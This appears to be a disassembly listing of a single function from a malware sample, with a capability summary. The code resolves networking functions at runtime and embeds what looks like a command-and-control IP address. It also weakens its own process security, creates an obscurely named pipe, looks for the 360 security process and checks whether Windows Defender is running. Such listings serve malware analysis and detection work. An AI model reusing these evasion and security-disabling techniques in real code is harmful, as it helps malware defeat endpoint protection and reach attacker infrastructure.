Function at 0x10002610
Capabilities:
Create pipe
Enumerate processes
Query service status
Terminate process
Terminate process by name

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x1e8
mov eax, dword [0x10027040]
xor eax, esp
mov dword [esp + 0x1e4], eax
push esi
push edi
call fcn.10001330
call fcn.100010f0
mov dword [0x10029710], eax
mov dword [0x10029714], edx
call fcn.10001110
push dword [0x10029714]
mov ecx, dword [0x1002973c]
push dword [0x10029710]
mov dword [0x10029708], eax
mov dword [0x1002970c], edx
call fcn.10001830
add esp, 8
mov dword [0x10029700], eax
push dword [0x10029740]
call eax
push dword [0x10029744]
call dword [0x10029700]
mov ecx, dword [str.socket]
mov esi, eax
mov eax, dword [str.send]
mov dword [esp + 0x1a8], eax
mov al, byte [0x10022c50]
mov byte [esp + 0x1ac], al
mov eax, dword [str.htons]
mov dword [esp + 0x1b0], eax
movzx eax, word [0x10022c58]
mov word [esp + 0x1b4], ax
mov eax, esi
cdq
mov dword [esp + 0x14], ecx
mov edi, edx
mov cx, word [0x10022c48]
mov dword [esp + 0x4c], eax
mov eax, esi
mov word [esp + 0x18], cx
mov cl, byte [0x10022c4a]
cdq
push edx
mov byte [esp + 0x1e], cl
lea ecx, [esp + 0x18]
push eax
mov dword [0x100296fc], esi
mov dword [esp + 0x58], 0x6e6e6f63
mov dword [esp + 0x5c], 0x746365
call fcn.10001830
mov esi, dword [esp + 0x54]
lea ecx, [esp + 0x58]
push edi
push esi
mov dword [0x100296f8], eax
call fcn.10001830
push edi
push esi
lea ecx, [esp + 0x1c0]
mov dword [0x100296f4], eax
call fcn.10001830
push edi
push esi
lea ecx, [esp + 0x1d0]
mov dword [0x100295ec], eax
call fcn.10001830
add esp, 0x20
mov dword [0x100294e4], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
lea eax, [esp + 0x50]
push 1
push eax
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
push 0
push 0
push 1
lea eax, [esp + 0x5c]
push eax
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
push 0
push 0
push 0
push 0
push 4
push 6
push esi
call dword [sym.imp.ADVAPI32.dll_SetSecurityInfo]
mov eax, dword [str.YTERE]
lea ecx, [esp + 0x1a8]
mov dword [esp + 0x1a8], eax
lea edx, [ecx + 1]
movzx eax, word [0x10022b34]
mov word [esp + 0x1ac], ax
mov dword [esp + 0x4c], 0x313233
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100027b0
sub ecx, edx
add ecx, 1
je 0x100027d4
push ecx
lea eax, [esp + 0x1ac]
push eax
push 0x10027b08
call fcn.10005830
add esp, 0xc
lea ecx, [esp + 0x4c]
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100027e0
sub ecx, edx
add ecx, 1
je 0x10002801
push ecx
lea eax, [esp + 0x50]
push eax
push 0x10027b35
call fcn.10005830
add esp, 0xc
mov eax, dword [str._dd1_]
xor ecx, ecx
movq xmm0, qword [str.45.195.204.25]
mov dword [esp + 0x1b0], eax
movzx eax, word [0x10022b1c]
mov word [esp + 0x1b4], ax
mov eax, dword [0x10022b28]
mov dword [esp + 0x58], eax
movzx eax, word [0x10022b2c]
movq qword [esp + 0x50], xmm0
mov word [esp + 0x5c], ax
mov al, byte [esp + ecx + 0x1b0]
lea ecx, [ecx + 1]
mov byte [esp + ecx + 0x1b7], al
test al, al
jne 0x10002841
lea edx, [esp + 0x50]
mov esi, edx
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x10002860
lea edi, [esp + 0x1b8]
sub edx, esi
dec edi
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10002871
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x1b8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10002891
sub ecx, edx
add ecx, 1
je 0x100028b5
push ecx
lea eax, [esp + 0x1bc]
push eax
push 0x10027b59
call fcn.10005830
add esp, 0xc
mov eax, 0x6f
lea ecx, [esp + 0x4c]
mov word [esp + 0x4c], ax
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x100028c6
sub ecx, edx
add ecx, 1
je 0x100028e7
push ecx
lea eax, [esp + 0x50]
push eax
push 0x10027bad
call fcn.10005830
add esp, 0xc
movups xmm0, xmmword [str..pipeWF3ss22NHFs1523BgfsHDF6]
mov al, byte [0x10022d6c]
push 0
push 0
push 0
push 0
push 1
push 0
movups xmmword [esp + 0x68], xmm0
mov byte [esp + 0x88], al
lea eax, [esp + 0x68]
movups xmm0, xmmword [0x10022d5c]
push 3
push eax
movups xmmword [esp + 0x80], xmm0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov dword [0x100297d0], eax
cmp eax, 0xffffffff
jne 0x10002939
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.10002090
push 0x1002971c
push dword [0x10029764]
call dword [sym.imp.ADVAPI32.dll_ConvertSidToStringSidA]
movups xmm0, xmmword [str.ZhuDongFangYu.exe]
mov ax, word [0x10022d3c]
push 0
push 2
mov dword [esp + 0x24], 0x303633
movups xmmword [esp + 0x28], xmm0
mov word [esp + 0x38], ax
mov dword [esp + 0x88], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [esp + 0x80]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x10002a2c
mov edi, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [esp + 0x80]
push eax
push esi
call edi
test eax, eax
je 0x10002a2c
lea ecx, [esp + 0x1c]
lea eax, [esp + 0xa4]
nop dword [eax]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100029e0
test dl, dl
je 0x100029dc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100029e0
add eax, 2
add ecx, 2
test dl, dl
jne 0x100029c0
xor eax, eax
jmp 0x100029e5
sbb eax, eax
or eax, 1
test eax, eax
je 0x10002a2c
lea eax, [esp + 0x20]
lea ecx, [esp + 0xa4]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10002a14
test dl, dl
je 0x10002a10
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10002a14
add ecx, 2
add eax, 2
test dl, dl
jne 0x100029f4
xor eax, eax
jmp 0x10002a19
sbb eax, eax
or eax, 1
test eax, eax
je 0x10002a2c
lea eax, [esp + 0x80]
push eax
push esi
call edi
test eax, eax
jne 0x100029b1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 4
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov edi, eax
test edi, edi
jne 0x10002a49
xor al, al
jmp 0x10002aa7
push 4
push str.WinDefend
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, eax
test esi, esi
jne 0x10002a68
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
xor al, al
jmp 0x10002aa7
lea eax, [esp + 0x1a8]
push eax
push 0x24
lea eax, [esp + 0x58]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test eax, eax
jne 0x10002a94
call esi
push edi
call esi
xor al, al
jmp 0x10002aa7
cmp dword [esp + 0x58], 4
sete byte [esp + 0x50]
call esi
push edi
call esi
mov al, byte [esp + 0x4c]
movzx eax, al
mov dword [0x10027bcc], eax
call fcn.10001d50
mov dword [0x10027b04], eax
test eax, eax
je 0x10002ad8
call fcn.10002330
mov ecx, dword [esp + 0x1ec]
xor eax, eax
pop edi
pop esi
xor ecx, esp
call fcn.10003dfa
mov esp, ebp
pop ebp
ret
call fcn.10002440
int3